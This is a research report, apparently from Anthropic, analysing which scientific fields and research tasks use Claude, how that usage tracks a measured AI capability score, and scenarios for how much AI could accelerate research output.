  • Where scientists use Claude. Relative to the number of researchers in each field, Claude is used more in the formal sciences, such as computer science, mathematics, and statistics, and less in health and lab-based physical sciences. Scientists primarily use Claude to analyze data and to write. Data analysis alone accounts for about one-third of sessions on Claude and nearly half of sessions on Claude Code. Scientists use it less for idea generation and data gathering, even though, in an accompanying survey, they rank those tasks as the most important for scientific discovery. That said, specialized AI tools designed for scientific work could narrow the gap between the research tasks scientists use AI for and the ones they consider most important. On Claude Science, for instance, idea generation makes up about twice the share of use that it does on Claude.
  • How Claude use tracks AI capability. We create a measure of how well AI can, in theory, perform each research task. The tasks AI is best suited to (the top 20% on this measure) get two to four times as much Claude use as the time researchers spend on them would predict. The tasks AI is least suited to (the bottom 20%), which include most physical work, get very little. We observe the same pattern across fields: fields where AI can perform many tasks well, such as computer science and statistics, use Claude more.
  • What this could mean for the speed of scientific discovery. Using a simple model, we explore scenarios for how much AI could speed up research. If existing AI capabilities are widely adopted, they could double research output in some fields. If AI could carry out all non-physical research work, output in fields such as computer science and statistics could rise as much as 15-fold, while output in bench sciences such as chemistry and biology, which are held back by physical bottlenecks, would rise three- or fourfold. In our survey of researchers who actively use AI, about 40% expect AI models to carry out full research projects on their own by 2030.

Introduction

Science has been described as an “endless frontier” (Bush 1945). But how fast we explore that frontier has historically been limited by a scarce resource: the time and talent of human researchers. Artificial intelligence could ease that limit by amplifying what researchers can do, transforming both the process of discovery and the pace of exploration (Wang et al. 2023; Amodei 2024). Few applications of AI could matter more for human welfare. Given the highly cognitive nature of research compared with most sectors of the economy, AI’s effects may be particularly large and early in this domain.

Recent examples show AI playing a growing role in scientific discovery. In structural biology, AlphaFold predicted the three-dimensional shapes of over 200 million proteins (Jumper et al. 2021; Varadi et al. 2024), and its creators shared the 2024 Nobel Prize in Chemistry. In materials science, GNoME predicted 380,000 stable new crystals (Merchant et al. 2023). In mathematics, researchers have used AI systems to help resolve decades-old Erdős problems, produce a potential proof for a Millennium Prize problem, and make progress on other major problems, from open conjectures to verifying landmark proofs (Anthropic 2026a, 2026b; OpenAI 2026a, 2026b; Tsoukalas et al. 2026).

Beyond these developments, most scientific progress involves many specialized, interlinked research tasks, which can vary substantially across fields. How much AI accelerates scientific discovery depends not only on AI’s capabilities, but also on how it is adopted across these tasks. In this report, we use privacy-preserving infrastructure to study the scientific use of Claude, Claude Code, and Claude Science. We document how usage varies across fields and tasks, identify what explains these usage patterns, and outline scenarios for how AI could accelerate research.

Claude use in science varies by field. Relative to their number of researchers, formal sciences such as computer science, mathematics, and statistics use Claude more heavily, while health and lab-based physical sciences use it less. Across research tasks, scientists use Claude more for analyzing data and writing, and less for gathering data or generating ideas and hypotheses. This is consistent with self-reported AI use from an accompanying survey of scientists.

To understand these differences, we develop a measure of theoretical AI capability. Claude use is higher in tasks and fields that score higher on this measure. These also tend to be more cognitive in nature and better suited to reinforcement learning, in which AI learns from feedback on repeated attempts. In short, scientists appear to use AI where it works best.

Based on these findings, we outline scenarios for how AI could accelerate scientific progress. With current capabilities, research output in some fields could as much as double, primarily from task-level augmentation. Researchers in our survey expect much greater capabilities to come. In a hypothetical scenario where AI fully automates all non-physical work, highly cognitive fields such as computer science or statistics could see up to a 15-fold increase in output. Because the fields with the largest potential for acceleration include those that produce AI itself, these gains could create an additional feedback loop, in which faster AI research produces more capable AI, which in turn could further accelerate research.

While faster scientific discovery could bring substantial benefits to humanity, AI-driven research also carries risks and uncertainties. Less human oversight could lead to the pursuit of dangerous or unethical research. AI could also reshape researchers’ careers, making research work more or less rewarding, and alter the sense of purpose associated with the human pursuit of knowledge.

How we conducted this research

Our goal with this research is to measure the different ways scientists use Claude while protecting the details of their work. To do this, we use privacy-preserving infrastructure to analyze the scientific use of Claude on consumer plans. A language model, used here as a “classifier,” reads each session transcript and labels it with a fixed set of categories, such as the field and the research task it involves, according to a predefined taxonomy (SciNet taxonomy by Alamos and Althoff 2026). The resulting labels, such as “chemistry” or “data cleaning,” are the only information from these conversations retained and analyzed by the research team for this report. No classifier employed in this study extracts and stores open-ended information or details on research content, such as research datasets, hypotheses, experimental methods, early findings, or unpublished papers. Results are reported only in aggregate and only for cells that meet a minimum number of distinct accounts. All classifiers introduced in this study are listed in the Appendix .

Our measurement involves two steps. A first classifier identifies whether a session transcript involves scientific work. A second classifier then assigns each of these transcripts to a field, subfield, and task in the SciNet taxonomy. SciNet contains 7,262 tasks, spanning 34 fields and 318 subfields. Some tasks in the taxonomy, such as drafting manuscripts, are universal to all fields. Others are specific to individual fields or subfields. For instance, in the taxonomy, the task of predicting optical absorption and emission spectra is specific to materials science. Together, the tasks cover the full process of producing a new research finding.

Our main sample consists of 207,049 sessions on consumer plans from August 2 to September 30, 2026, which were assigned a scientific field and a research task: 128,914 from Chat and Cowork, two general-purpose interfaces for conversation and knowledge work, hereafter referred to as “Claude,” and 78,135 from Claude Code, an agentic coding tool that works directly with a user’s files, writing and running code. We also study a supplemental sample of Claude Science sessions. For details on sample construction, see the Appendix .

Combining usage data and a structured taxonomy of research tasks allows us to study which fields adopt Claude and for which parts of the research process. This research contributes to a growing body of work attempting to measure the adoption of AI technology for scientific discovery (Kobak et al. 2025; Liang et al. 2025; Hao et al. 2026; Codreanu et al. 2026).

How Claude use varies across scientific fields

We begin by describing how Claude use varies across scientific fields. Figure 1 compares a field’s share of sessions against the share of global researchers in that field, giving us a sense of relative use per scientific field. 1 On Claude, the three largest fields by session share are computer science (11.9%), engineering (8.4%), and medicine (7.7%), which are also among the largest fields by global researcher counts. 2 Overall, fields with a larger share of researchers also tend to account for a larger share of Claude sessions (log-log correlation of 0.79).

However, Claude use per field cannot be explained by the number of researchers alone. In Figure 1, fields above the 45-degree line show higher usage relative to their size, while fields below the line show lower usage. Relative usage is especially high for the formal sciences, including computer science, mathematics, and statistics. Usage is also high for the social sciences. By contrast, physical sciences such as chemistry, where work often happens in a lab, tend to show lower relative usage. So does medicine, the third-largest field by session volume, where researchers spend much of their time with patients.

On Claude Code, usage is less strongly related to field size (log-log correlation with researcher counts of 0.62) and concentrates in more quantitative fields. Despite making up only 4.3% of the world’s researchers, computer science alone accounts for 32.7% of Claude Code sessions. 3 Other formal sciences, such as mathematics and statistics, also show high relative usage. Relative usage is low in the arts and humanities and in the social sciences, with the exception of economics, a comparatively quantitative field.

We observe similar patterns when comparing usage across 318 subfields within those 34 fields (Figure 2). 4 This more granular subfield view reveals that artificial intelligence and machine learning stands out, with session shares of 5.0% for Claude and 15.2% for Claude Code, despite making up only 1.2% of the world’s researchers. More generally, regardless of the broad scientific domain, computational subfields are among the strongest adopters. These subfields include computational biology, computational linguistics, and computational neuroscience. Robotics also shows high relative usage, likely because it builds heavily on computational methods despite its focus on physical systems.

How Claude use varies across research tasks

Beyond understanding which fields use Claude, we also want to understand what scientists use it for. Research involves many different tasks, from generating hypotheses and analyzing data to writing up findings in a research paper. To better discern how Claude supports scientific discovery, we study how usage varies across these tasks. To do so, we assign each session to one of the 7,262 tasks in SciNet. These tasks can be universal to all fields, such as drafting manuscripts, or specific to fields or subfields, such as performing differential gene expression analysis to compare tumor subtypes, which is associated with cancer biology. The taxonomy distinguishes between research tasks, which researchers perform to produce new scientific findings, and non-research tasks, such as teaching, peer review, and service to the department or field. 5 We limit our analysis to research tasks spanning eight categories: (1) data analysis, (2) writing and communication, (3) data gathering, (4) reading and knowledge acquisition, (5) theoretical analysis, (6) design and development (of software, materials, and creative works), (7) ideation and hypothesis generation, and (8) other, such as administering research.

For each task category, we calculate its share of Claude and Claude Code sessions separately. To assess whether usage in a category is high or low, we consider the share of their time that researchers typically spend on that category, as estimated by SciNet. These time estimates are based on an LLM classifier, validated using both wet-lab research protocols that record researcher time spent per task and the frequency of tasks across thousands of academic papers (see the Appendix ). This provides a benchmark to assess whether the share of Claude use across different task categories follows or deviates from how researchers spend their time.

Usage by task category. Data analysis tasks have the highest usage in absolute terms and are overrepresented relative to researcher time. Data analysis accounts for 33.7% of sessions on Claude and 48.1% on Claude Code, compared with 27.6% of researcher time. Writing and communication tasks also show high usage, especially on Claude (32.0%, compared with 16.0% of researcher time). 6 Data gathering tasks have low relative usage, accounting for 28.6% of researcher time but only 11.5% of sessions on Claude and 11.9% on Claude Code. The underrepresentation of data gathering is particularly strong for tasks with physical barriers, such as the collection of clinical or biochemical data. Data gathering tasks that can rely on more digital processes, such as retrieving archival documents or text, are less underrepresented, while purely digital data collection tasks, such as collecting online data, can be overrepresented. Ideation and hypothesis generation tasks also have low usage, accounting for 4.2% of sessions on Claude and 2.1% on Claude Code, compared with 7.1% of researcher time.

Comparing observed usage to survey evidence. Along with our analysis of Claude and Claude Code sessions, we conducted a survey of 528 scientists, whose self-reported AI usage lines up with the patterns we observed in those sessions. The sample consists of researchers primarily in the life and health sciences who are active adopters of AI. 7 Consistent with the Claude usage patterns shown in Figure 3, survey participants’ self-reported AI usage is highest for data analysis and writing and communication, and lower for ideation and hypothesis generation and data gathering. Participants also report more shared or delegated use of AI for data analysis and writing and communication (Figure 4).

The survey also asked which categories matter most for producing important research results. Respondents rank ideation and hypothesis generation first and data gathering second. Notably, these categories are underrepresented in self-reported usage as well as in Claude sessions. The reasons for this underrepresentation likely differ. Much of data gathering is physical, while ideation is not. For ideation, scientists may prefer generating ideas themselves, or they may perceive AI’s capabilities as limited. Our data may also undercount ideation, since it tends to be woven into many other research tasks and is difficult to classify. But AI may also be genuinely weaker at high-level ideation, such as choosing which research question to pursue and designing a study to answer it.

Biological and biomedical use of Claude Science. While Claude and Claude Code are general-purpose interfaces, specialized AI tools for the sciences are increasingly available. To study whether such tools support more specialized and demanding research, we use our privacy-preserving analysis infrastructure to compare biology and biomedical work on Claude Science with that on Claude and Claude Code.

Claude Science connects Claude to many research tools and databases that are otherwise fragmented and acts to integrate and accelerate scientific workflows. Scientists must often use different platforms, each with unique data structures or query languages, to combine distinct tools and databases in their research. For example, biologists studying whether existing drugs can act on a specific protein must typically consult separate databases regarding the protein’s function, its structure, compounds already tested against it, and related drug trials or papers. Claude Science combines these into one workflow.

Use of Claude Science is concentrated in the life sciences. The top two fields are biomedical sciences and biology, which together comprise over 50% of sessions. Within these fields, we assess which tasks are most overrepresented relative to tasks performed by Claude.

We find that researchers use Claude Science for more specialized tasks than Claude (Figure 5). For example, the task “Propose mechanistic models for protein–protein or protein–ligand interactions” is 5.6x more likely to appear on Claude Science than on Claude. This task involves explaining, at the level of individual molecular contacts, how a protein binds to another protein or to a small molecule such as a drug. Claude Science is well positioned for this task, as it can gather protein structures and binding data from multiple connected databases and combine them into a testable model of the interaction. By contrast, Claude Science is used relatively less for general tasks such as drafting manuscripts or coordinating with collaborators. Moreover, we find that ideation and hypothesis generation accounts for 8% of Claude Science sessions, roughly on par with the share of researcher time these tasks take, suggesting that specialized AI tools for science can facilitate more complex and creative work.

Focusing on biomedical sciences and biology, and using measures from our economic primitives framework introduced in prior work (Appel et al. 2026), we find that tasks on Claude Science are longer, more sophisticated, and performed more autonomously than those on Claude and Claude Code (Figure 6). This is consistent with specialized AI tools being used for more demanding tasks. 8 Sessions on Claude Science contain work that would take nearly twice as many human hours to complete without AI as work on Claude and Claude Code. The content of these sessions is also more advanced. Over 80% of Claude Science use is estimated to require doctoral-level training (20 years of education), compared with about 50–70% on other interfaces. Over 70% of Claude Science sessions are performed with a high degree of AI autonomy, far higher than on Claude (23.7%) and somewhat higher than on Claude Code (64.1%).

Outputs of Claude use. Finally, the artifacts produced with Claude show clear differences across fields (Figure 7). 9 Written artifacts such as documents, reports, or academic papers are more common in the social sciences and humanities, relative to the natural and formal sciences. Conversely, technical artifacts such as code, software outputs, and data are more frequent in the natural and formal sciences. The health sciences overall are more similar to the social sciences in terms of artifacts produced. Technical artifacts are about twice as common on Claude Code as on Claude, but the broad pattern across fields is similar (see the Appendix ).

How use relates to capabilities

Does AI usage track AI capabilities? Field size explains some of the variation in Claude use, but not all of it. For example, researchers in computer science use Claude far more than the field’s size predicts, while those in nutrition use Claude far less. Similarly, where researchers spend their own time does not fully predict where they use Claude the most. Some broad task categories, such as data analysis and writing, have a much larger share of usage than of research time, while others, such as data gathering and ideation and hypothesis generation, have a much smaller share. Here, we test whether these differences in usage reflect what AI can actually do.

To measure task-specific AI capabilities, we first construct capability scores using an LLM classifier. For each task, SciNet provides a list of individual steps that a scientist needs to perform to complete the task. For instance, in chemistry, one task involves purifying reaction mixtures, and one of that task’s steps involves packing a chromatography column. The classifier is shown pairs of steps across the taxonomy and asked which one AI can perform better. We aggregate these comparisons using a Bradley–Terry model—the same model behind the Elo ratings that rank chess players based on head-to-head results. A step’s score rises when it wins comparisons and falls when it loses them. We then average each task’s steps to obtain a task-level score (see the Appendix for details). We label this measure theoretical AI capability . We refer to a task’s specific score as its AI capability score .

To compare usage across tasks, we ask whether Claude use is higher or lower for a task, relative to the time researchers spend on that task. For example, a task that takes 5% of researchers’ time but accounts for 10% of Claude sessions would represent twice as much use as expected, a ratio of 2. A ratio of 1 indicates that Claude use is in line with researcher time spent on the task. A ratio below 1 indicates that Claude is used less than expected based on the amount of researcher time the task takes.

Figure 8 shows that this use ratio rises sharply with a task’s AI capability score. For tasks in the lowest 20% of capability scores, like purifying reaction mixtures and conducting participant observation, Claude is barely used. At median capability scores, the ratio is roughly 1, so usage is in line with researcher time. For tasks in the top 20% of capability scores, like visualizing data and applying statistical tests, usage is about twice as high on Claude and about four times as high on Claude Code, compared with the typical time researchers spend on those tasks. These patterns suggest that scientists’ use of Claude closely tracks AI capability scores. The steeper gradient for Claude Code reflects its focus on computational work, which has higher capability scores.

Theoretical AI capabilities can differ across tasks for many reasons. To understand these differences, we relate each task’s AI capability score to three groups of LLM-derived task characteristics: its suitability for reinforcement learning (RL); whether the work is predominantly cognitive, interpersonal, or physical; and whether regulatory restrictions limit AI use (Figure 9; see the Appendix for definitions and data sources).

Consider RL suitability. In RL, an AI model tries a task repeatedly and is rewarded when it succeeds, allowing the model to learn how to perform that task. Tasks are particularly suitable for RL when success is easy to verify, when many examples can be simulated in a computing environment, and when feedback can be delivered quickly (Lambert et al. 2024; Guo et al. 2025). We use task-specific measures from SciNet for these three RL-related components and summarize them in a single index. A task’s capability score is highly correlated with its RL index score, which was classified separately (correlation of 0.78). This suggests that AI is most capable at the research tasks where RL is easiest to apply.

Other important task characteristics concern the nature of the work. Some research tasks are fundamentally cognitive, while others require physical actions or interpersonal contact. Physical tasks in general are beyond the reach of purely cognitive machines. There can also be regulatory restrictions that limit AI use. AI capability scores are higher for tasks characterized by cognitive work (correlation of 0.69). By contrast, research tasks that involve more physical work have lower AI capability scores (−0.57). Scores also tend to be lower for research activities that include interpersonal work (−0.31) or that involve regulatory restrictions on AI use (−0.38).

The same task characteristics also predict how much researchers use Claude for a given task (Figure 10). Claude is barely used for tasks in the bottom fifth of RL suitability. For tasks in the top fifth, Claude use is disproportionately high relative to the time researchers spend on them: twice as high on Claude, and four times as high on Claude Code. This is similar to the association between Claude use and AI capability scores overall, where the top 20% of tasks also draw two to four times the expected use.

Claude use is also disproportionately high in predominantly cognitive tasks. By contrast, Claude use is low for physical and interpersonal tasks. Claude use is also lower for tasks where regulatory barriers limit AI assistance. Overall, across the spectrum of highly specialized research tasks, usage and capability measures are strongly related.

Different scientific fields rely on different mixes of research activities. Does the correlation between usage and capability scores for narrow research tasks help explain why some fields use Claude more than others? Our data shows it does: a subfield’s Claude use per researcher tends to rise with the average AI capability score across its tasks (correlations of 0.45 for Claude and 0.57 for Claude Code), as shown in Figure 11.

There is also substantial variation across domains, which suggests that Claude use is affected by factors beyond what AI can do. Health sciences researchers use Claude relatively little compared with the AI capability scores of their tasks, possibly because regulation of medical data and research limits the use of AI or makes it harder to integrate. Researchers in the formal sciences, social sciences, and the arts and humanities use Claude more than the AI capability scores would predict. Much of the work in these fields is done through text and code, which likely facilitates the adoption of AI tools. Claude use in the physical sciences and life sciences generally tracks AI capability scores more closely, though individual subfields can deviate.

Theoretical AI capability also predicts how much researchers allow Claude to work autonomously. Figure 12 shows that autonomous use correlates with the theoretical AI capability of the subfield. In other words, not only do subfields with more theoretical AI capability use AI more, but they also use it in a more autonomous manner.

Research acceleration scenarios with AI

The pace of scientific and technological progress depends on good ideas and the means to pursue them. Historically, both have been limited by human capacity. There are only so many researchers, and each has only so much time to formulate a hypothesis, design the right tests, run the analyses, and synthesize the findings.

AI could ease these constraints in two ways. First, it could take on work that researchers now do, allowing them to pursue more ideas. Second, it could contribute ideas that researchers might not otherwise identify. The second may ultimately matter most, but it is much harder to measure, so our analysis focuses on the first.

Approach

We consider three scenarios of scientific acceleration through AI. Scenario 1 assumes wide adoption of current AI capabilities, as estimated from our survey and the AI capability scores. Scenarios 2 and 3 are hypothetical futures in which AI fully automates 75% or 100% of non-physical research steps—the individual actions that make up each research task in SciNet—starting with the steps that have the highest AI capability scores. In all three scenarios, researchers continue to perform physical steps. These are illustrative scenarios, not forecasts. They show how physical work, theoretical AI capability, and the cost of AI could shape the acceleration of scientific research, and which fields could accelerate the most.

For each scenario, we report two measures. The first is the AI share : the fraction of researcher time spent on a study that AI could take on. Given how researchers currently allocate their time, it measures how much human research time AI could free up, and it follows directly from our analyses above. Researchers can redirect that freed-up time to other work, increasing research output. Our second measure, the acceleration , estimates this gain: the increase in research output for a fixed research budget, relative to the research output without AI. It tells us how many more research results the same budget could produce. Freed-up time does not translate one-for-one into more output, both because researchers redirect their effort toward the tasks where AI helps less, and because AI itself has costs.

We build the AI share for Scenario 1 from our survey, which records five levels of AI use: none, assistive, shared, delegated, and autonomous. We assume these levels correspond to AI taking on 0%, 25%, 50%, 75%, and 100% of a researcher’s time for a given task step. Within each task category, we rank task steps by AI capability score. We then assign a level of AI use to each task step, in the same proportions reported in our survey, with the highest levels going to the highest-scoring steps. For ideation and hypothesis generation, for example, 17% of responses report no AI use, and 53% report assistive use. The 17% of ideation task steps with the lowest AI capability scores are therefore assigned no AI share, the next 53% are assigned 25%, and so on up the scale. Because respondents are likely to be heavy AI adopters, we treat their reported use as a proxy for what AI can do today. Finally, we aggregate researcher time freed up by AI from steps to fields (see the Appendix ).

To compute the acceleration, we use an ideas production function, a standard economic model of how research inputs, such as researcher time, are turned into research outputs. In this model, a paper requires many research tasks (Jones 2026). The tasks are complementary, such that strength in one cannot fully make up for weakness in another. As AI makes some tasks cheaper, researchers shift their effort toward tasks where AI helps less, thereby easing the bottlenecks that limit the overall gain. For example, researchers could spend more time coming up with new questions or running more physical experiments to expand empirical evidence. We calibrate how much these bottlenecks limit the overall gain using Ahmadpoor and Jones (2019). For AI’s cost, we assume that an hour of AI agent time costs $30, compared with $95 for an hour of a researcher’s time, and that AI runs for 0.2 hours for each researcher hour it saves. These are illustrative assumptions: the AI cost uses today’s public list prices. The smaller these costs, the more research can be done within a given budget and the larger the acceleration, as we discuss below. The Appendix describes the model and assumptions.

Scenario 1: Current capabilities

With current capabilities, if adopted widely, AI could take on 27–52% of the researcher time needed to produce a new study, with a median of 38% across fields (Figure 13, left panel). These shares imply research accelerations ranging from 1.35x in the arts, 1.36x in anthropology, and 1.41x in chemistry to 1.96x in computer science and 2.02x in statistics (Figure 13, right panel). Accelerations remain limited because AI work today is mostly assistive or shared rather than autonomous, so researchers still spend substantial time on nearly every step. Even the most AI-ready fields, whose work is almost entirely cognitive, reach only about a 2x acceleration. These estimates assume that AI diffuses widely and that researchers apply it to every step where it is useful today.

Two factors explain most of the differences across fields. The first is physical work, which AI cannot take on without physical integrations. In lab and field sciences such as the agricultural sciences, biomedical sciences, chemistry, and materials science, 38–41% of researcher time goes to physical steps, compared with 4% in the median field. The physical share alone explains about one-third of the variation in the AI share. The second factor is the distribution of AI capability scores within cognitive work. The arts and history spend little time on physical steps (10% and 4%, respectively), yet their cognitive steps have low AI capability scores, perhaps because qualitative and interpretive work is less amenable to reinforcement learning. Computer science and statistics, by contrast, have high scores and large AI shares, driven by data analysis, the type of work with the highest AI capability scores across fields.

Fields with a higher use ratio on Claude also tend to have larger AI shares (Figure 14). The AI share is calculated without any Claude use data, so this relationship is further evidence that AI use tracks theoretical AI capability.

Scenarios 2 and 3: Greater automation

In these more speculative scenarios, which depend heavily on assumptions about AI’s reach and costs, greater automation raises both the AI share and the acceleration sharply, and widens the differences between fields.

In Scenario 2, where 75% of non-physical steps can be done by AI, accelerations reach about 8x in computer science, 7x in statistics and library and information science, and 6x in economics. Most other social sciences, mathematics, and physics and astronomy reach 4–5x, while bench and medical sciences reach about 2–3x. The bench sciences and the arts and humanities gain the least, but for different reasons. In the bench sciences, much of the work is physical and must still be done by researchers. In the arts and humanities, the work is mostly cognitive but has low AI capability scores, so few of its steps are among those automated. Automated steps make up 82% of non-physical researcher time in computer science but only 28% in the arts. History, anthropology, and the arts accelerate by about 2x or less.

In Scenario 3, the arts and humanities pull ahead, while the bench sciences remain held back. Once AI automates all non-physical steps, low AI capability scores no longer limit cognitive work, and AI can take on nearly all research work in many fields (Figure 13, left panel). In this speculative scenario, fields with few physical tasks, including statistics, computer science, economics, mathematics, psychology, and most of the social sciences and the arts and humanities, reach about 15–16x. Fields with substantial lab or field work, such as biology, chemistry, materials science, agricultural sciences, and biomedical sciences, reach only 3–4x. Absent automated labs, their physical steps, representing about 40% of researcher time, remain the bottleneck.

Two lessons follow from these scenarios. First, physical bottlenecks remain powerful. Steps that AI cannot perform without physical integrations come to dominate researcher time and budgets, capping acceleration. Second, where no such bottlenecks exist, extraordinary rates of progress become possible, and AI’s cost becomes the limit. Under our assumptions, a task that is fully automated by AI still costs about one-sixteenth of what it would cost a researcher to perform, so accelerations approach about 16x and stop there. Lower AI costs would raise this ceiling proportionately, such that halving the cost of AI, for example, would double the rate of progress. If costs fall sharply, including for harder tasks that AI automates later, the fields without physical bottlenecks could accelerate far beyond these estimates.

These calculations have important limits that cut in both directions. We do not consider constraints at the level of a field rather than a research team. For instance, only so many experiments can run at facilities like the Large Hadron Collider. We also count only the cost of researcher and AI time, not the costs of machinery or inputs for experiments, which can be substantial in the health, physical, and life sciences. Nor do we consider simulations to replace physical experiments, which could ease bottlenecks in some fields. Finally, we do not consider the quality of ideas. If AI identifies better hypotheses with higher chances of success, research could accelerate further; if research taste remains uniquely human, the acceleration would be slower.

Researcher expectations

The scenarios above characterize a range of possibilities. Researchers’ own expectations can provide a unique guide grounded in expertise. To gather their viewpoints, our survey of researchers in the life and health sciences asked when they thought AI, working on its own, would match the best researchers in their field for different categories of research work (Figure 15). Respondents’ expectations are high in the near term: over half expect AI to match top researchers at data analysis by 2027, and 38% say that AI has already reached this level. By 2030, 94% expect AI will match the best researchers in data analysis, 89% in writing, and 72% each in ideation and data gathering. Expectations for ideation and data gathering are lower, consistent with the lower use of Claude for these tasks today.

Expectations for end-to-end AI research without humans in the loop are more conservative, but researchers still expect remarkable progress. About 40% of respondents expect AI to carry out full research projects by 2030, and about 64% by 2035, although 16% say it will never happen. Expectations that AI will autonomously produce scientific breakthroughs are more cautious still, with approximately half of researchers expecting this to occur only after 2035, if ever. Overall, many researchers expect high levels of automation in the next decade, broadly in line with our greater automation scenarios. How fast and to what extent these expectations materialize will depend not only on advances in AI as a software technology, but also on efforts to build automated labs that overcome physical barriers.

Comparing past survey evidence to realized outcomes suggests that AI progress has often been dramatically underestimated (Rosenberg et al. 2026). In a survey in mid-2022, for example, the median estimate for AI achieving gold-level performance in the International Mathematical Olympiad was 2030 among domain experts and 2035 among superforecasters (Karger et al. 2023). AI achieved this milestone in 2025, some five to 10 years ahead of those predictions. While forecasters have systematically underestimated progress in AI capabilities, there are a few exceptions, primarily in domains that require execution in the physical world, such as AI-assisted laboratory tasks in biology.

Discussion

If AI helps speed up scientific discovery, it could contribute to higher standards of living and faster progress in treating disease. Our estimates suggest the potential gains are substantial. But advancements in AI’s research capabilities do not automatically translate into rapid progress; achieving such acceleration will also depend on how we respond to several constraints.

First, adoption can substantially lag capabilities. Diffusion of new technologies is typically slow (Comin and Hobijn 2010), and productivity gains tend to materialize only after organizations restructure around them (David 1990; Brynjolfsson, Rock, and Syverson 2021). Individual learning processes, friction at the organizational or system level, and constraints on AI access or infrastructure can all slow adoption.

Second, research may continue to face bottlenecks that AI does not remove. Physical experimentation, which can be costly and slow, can substantially limit progress even with extremely capable AI. We see this especially in the bench sciences in the scenarios above. Choosing what to study may be another bottleneck. Research questions largely determine a research project’s value, and AI’s capacity to generate good questions remains unclear. If ideation is a bottleneck, it will limit acceleration even as answering a given question becomes much cheaper. Conversely, if AI outstrips humans in formulating high-quality hypotheses, acceleration could be more substantial, especially in domains where testing hypotheses is costly.

Third, AI-enabled research could raise the quantity or quality of research output, with different implications for science. A surge in new research papers could advance a field faster but also overwhelm scientists’ capacity to absorb or verify the results. On the other hand, new technologies, from microscopes and telescopes to statistical software, have historically raised the quality of scientific insights, and AI can likewise make more comprehensive analyses and more ambitious projects feasible. And as papers become easier to produce, the research community may increasingly reward work that is especially novel or high quality. Whether more efficient research leads to greater quantity or greater quality will depend on researchers’ choices and the incentives set by journals, funders, and institutions.

Fourth, the way research is organized may change in ways that are hard to anticipate. As AI becomes more capable and autonomous, AI systems could take the lead in verification, refereeing, and communicating important results, which would ease the absorption problem discussed above. Further in the future, AI research agents might also push the frontiers of science in large communities of their own, independently of humans, using robotics and automated labs. Such autonomous AI research would raise questions about how humans keep track of new knowledge, whether they can understand it, and how it is generated.

Fifth, more autonomous AI systems may increase the challenge of ensuring that AI-driven research remains aligned with human goals. Keeping humans involved in key research decisions, such as which questions to pursue and how to pursue them, may matter for safety and human wellbeing as AI agents become more powerful and creative. Discoveries themselves, or the byproducts of research, can also carry risks, particularly in biology, where the same capabilities that speed up medical advances could also produce dangerous knowledge or materials. In such cases, deliberate checkpoints in the research process may be warranted, requiring us to accept slower progress to reduce risk.

Finally, the work that researchers undertake may change substantially. One effect may be a change in researchers’ job satisfaction. If AI takes over enjoyable or rewarding tasks, satisfaction may fall and fewer people may choose research careers. If AI instead takes over tasks that researchers find tedious, satisfaction may rise. Administrative work is one potential target. In the US, principal investigators on federally funded projects report spending about 44% of their research time meeting administrative requirements rather than doing research (Schneider et al. 2020), and easing this burden could be a large boon, saving time and improving overall satisfaction. Ultimately, the net effect is uncertain and may change as AI’s capabilities evolve. An optimistic view is that AI will expand opportunities for discovery, which is core to what makes research careers rewarding. If science is a voyage into the “endless frontier,” AI may be a new vessel, allowing researchers to travel farther across a vast expanse of research questions and discoveries.

Appendix

Available here .

References

Ahmadpoor, Mohammad and Benjamin F. Jones, “Decoding Team and Individual Impact in Science and Invention,” Proceedings of the National Academy of Sciences , 2019, 116 (28), 13885–13890.

Alamos, Cristian and Lukas Althoff, “SciNet: The Anatomy of Science,” dataset, 2026. https://www.anatomyofscience.com/

Amodei, Dario, “Machines of Loving Grace: How AI Could Transform the World for the Better,” essay, October 2024. https://darioamodei.com/essay/machines-of-loving-grace

Anthropic, “Learning More about Claude’s Mathematical Capabilities,” research post, August 10, 2026a. https://www.anthropic.com/research/riemann-zeta

Anthropic, “Formalizing Fermat’s Last Theorem,” research post, September 4, 2026b. https://www.anthropic.com/research/formalizing-fermats-last-theorem

Appel, Ruth et al., “Anthropic Economic Index Report: Economic Primitives,” research post, January 15, 2026. https://www.anthropic.com/research/anthropic-economic-index-january-2026-report

Brynjolfsson, Erik, Daniel Rock, and Chad Syverson, “The Productivity J-Curve: How Intangibles Complement General Purpose Technologies,” American Economic Journal: Macroeconomics , 2021, 13 (1), 333–372.

Bush, Vannevar, Science, the Endless Frontier: A Report to the President , Washington, DC: United States Government Printing Office, 1945.

Codreanu, Mihai et al., “AI in Science: Early Insights,” arXiv preprint arXiv:2609.28504, 2026. https://arxiv.org/abs/2609.28504

Comin, Diego and Bart Hobijn, “An Exploration of Technology Diffusion,” American Economic Review , 2010, 100 (5), 2031–2059.

David, Paul A., “The Dynamo and the Computer: An Historical Perspective on the Modern Productivity Paradox,” American Economic Review , 1990, 80 (2), 355–361.

Eloundou, Tyna et al., “GPTs Are GPTs: Labor Market Impact Potential of LLMs,” Science , 2024, 384 (6702), 1306–1308.

Guo, Daya et al., “DeepSeek-R1 Incentivizes Reasoning in LLMs through Reinforcement Learning,” Nature , 2025, 645 (8081), 633–638.

Hao, Qianyue et al., “Artificial Intelligence Tools Expand Scientists’ Impact but Contract Science’s Focus,” Nature , 2026, 649 (8099), 1237–1243.

Jones, Benjamin F., “Artificial Intelligence in Research and Development,” in Ajay Agrawal, Erik Brynjolfsson, and Anton Korinek, eds., The Economics of Transformative AI , Chicago: University of Chicago Press, 2026, 37–61.

Jumper, John et al., “Highly Accurate Protein Structure Prediction with AlphaFold,” Nature , 2021, 596 (7873), 583–589.

Karger, Ezra et al., “Forecasting Existential Risks: Evidence from a Long-Run Forecasting Tournament,” Forecasting Research Institute Working Paper 1, 2023. https://forecastingresearch.org/research/existential-risk-persuasion-tournament

Kobak, Dmitry et al., “Delving into LLM-Assisted Writing in Biomedical Publications through Excess Vocabulary,” Science Advances , 2025, 11 (27), eadt3813.

Lambert, Nathan et al., “Tülu 3: Pushing Frontiers in Open Language Model Post-Training,” arXiv preprint arXiv:2411.15124, 2024. https://arxiv.org/abs/2411.15124

Liang, Weixin et al., “Quantifying Large Language Model Usage in Scientific Papers,” Nature Human Behaviour , 2025, 9 (12), 2599–2609.

Liu, Yinhong et al., “Aligning with Human Judgement: The Role of Pairwise Preference in Large Language Model Evaluators,” in Proceedings of the First Conference on Language Modeling (COLM) , 2024.

Mantiuk, Rafał K., Anna Tomaszewska, and Radosław Mantiuk, “Comparison of Four Subjective Methods for Image Quality Assessment,” Computer Graphics Forum , 2012, 31 (8), 2478–2491.

Massenkoff, Maxim et al., “Anthropic Economic Index Report: Cadences,” research post, June 26, 2026. https://www.anthropic.com/research/economic-index-june-2026-report

